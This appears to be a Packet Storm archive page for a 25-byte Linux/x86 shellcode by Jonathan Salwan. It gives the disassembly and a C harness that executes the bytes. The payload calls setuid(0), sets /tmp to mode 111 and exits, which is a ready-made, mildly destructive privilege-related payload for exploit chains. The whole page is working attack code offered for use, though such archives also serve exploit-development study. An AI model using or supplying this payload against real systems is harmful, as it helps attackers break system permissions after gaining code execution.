what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

/tmp chmod Shellcode

/tmp chmod Shellcode
Posted Feb 17, 2009
Authored by Jonathan Salwan | Site shell-storm.org

25 bytes small Linux/x86 shellcode that performs setuid(0) & chmod("/tmp",111) & exit(0).

tags | x86, shellcode
systems | linux
SHA-256 | 70012b6a9f63a1fbd31046b9774d5fa74262f66480c9c829e6a5af1480c0cd48

/tmp chmod Shellcode

Change Mirror Download
/*
Linux/x86 - setuid(0) & chmod("/tmp",111) & exit(0)

Info reg
------------------
%eax = 23
%ebx = 0

%eax = 15
%ebx = /tmp
%ecx = 111

%eax = 1
%ebx = 0

Shellcode 25 bytes
Author: Jonathan Salwan < submit [AT] shell-storm.org >
Web: http://www.shell-storm.org


Disassembly of section .text:

08048054 <.text>:
8048054: 6a 23 push $0x23
8048056: 58 pop %eax
8048057: 31 db xor %ebx,%ebx
8048059: cd 80 int $0x80
804805b: 51 push %ecx
804805c: b1 49 mov $0x49,%cl
804805e: 68 2f 74 6d 70 push $0x706d742f
8048063: 89 e3 mov %esp,%ebx
8048065: 6a 0f push $0xf
8048067: 58 pop %eax
8048068: cd 80 int $0x80
804806a: 40 inc %eax
804806b: cd 80 int $0x80

*/

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[] = "\x6a\x23\x58\x31" // setuid(0)
"\xdb\xcd\x80"

"\x51\xb1\x49\x68"
"\x2f\x74\x6d\x70" // chmod("/tmp",111)
"\x89\xe3\x6a\x0f"
"\x58\xcd\x80"

"\x40\xcd\x80"; // exit(0)



printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close